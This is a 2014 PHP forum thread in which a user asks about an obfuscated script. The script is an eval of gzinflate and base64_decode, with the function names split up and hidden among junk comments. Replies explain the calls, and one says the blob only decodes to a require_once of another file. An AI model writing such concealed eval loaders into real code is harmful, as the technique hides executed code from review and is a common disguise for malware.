What Kind Of PHP Script Is This?

Discussion in 'PHP' started by Smallboss, Mar 12, 2014.

  1. #1
    and is it encoded? i would like to learn more about php here it is:


    <?php
    eval (call_user_func( 'gzi'. '' . /*fQU4ckKt*/'nflat' . ''. 'e' /*WgS5LV4qj*/, call_user_func( 'ba' . '' /*ThIZtU0Xn*/. 's' . '' . 'e64_decod' . /*Nsap5P*/''. 'e' , /*kfjLoy*/'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' ) ) ) ;
     
    Smallboss, Mar 12, 2014 IP
  2. darkvisje

    darkvisje Well-Known Member

    Messages:
    231
    Likes Received:
    4
    Best Answers:
    1
    Trophy Points:
    120
    #2
    Its encrypted, i thought zend could do this.
     
    darkvisje, Mar 12, 2014 IP
  3. Smallboss

    Smallboss Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    1
    #3
    Yeah i think it is encypted, you mean idezender? and do you know what: "eval (call_user_func( 'gzi'" does?
     
    Smallboss, Mar 12, 2014 IP
  4. darkvisje

    darkvisje Well-Known Member

    Messages:
    231
    Likes Received:
    4
    Best Answers:
    1
    Trophy Points:
    120
    #4
    No i mean the program PHP Zend, its like dreamweaver etc.. you can crypt en decrypt your scripts. And about your last question, probably its a function to de-crypt it. Its not that its a bit of real code.
     
    darkvisje, Mar 12, 2014 IP
  5. Tomve

    Tomve Active Member

    Messages:
    18
    Likes Received:
    1
    Best Answers:
    2
    Trophy Points:
    70
    #5
    if you decode that you'll get this and here is more info about eval and call_user_func

    Edit:
    ups, links are gone, so

    decode string - http://www.unphp.net/decode/87b26ba9287279d790929ba6fd8c346a/
    eval - http://php.net/manual/en/function.eval.php
    call_user_func - http://php.net/manual/en/function.call-user-func.php
     
    Tomve, Mar 12, 2014 IP
  6. qwikad.com

    qwikad.com Illustrious Member Affiliate Manager

    Messages:
    7,373
    Likes Received:
    1,720
    Best Answers:
    31
    Trophy Points:
    475
    #6
    Usually, a company encodes their scripts to either ensure their copyright ownership or to limit the users to a trial version and once you pay the required fee, the encoded stuff gets removed or decoded.

    If I were you I wouldn't try to remove / decode it on your own. Chances are you will be breaking some copyright agreement by doing that.
     
    qwikad.com, Mar 14, 2014 IP
  7. nico_swd

    nico_swd Prominent Member

    Messages:
    4,153
    Likes Received:
    344
    Best Answers:
    18
    Trophy Points:
    375
    #7
    This block of code translates to:
    
    require_once('int.php');
    
    PHP:
    I understand people might want to "encrypt" or obfuscate their code, but this? Why waste time on this? Plus, gzip, base 64, eval, ... they're all great ways to slow the script down and achieve pretty much nothing.

    Wat.
     
    nico_swd, Mar 14, 2014 IP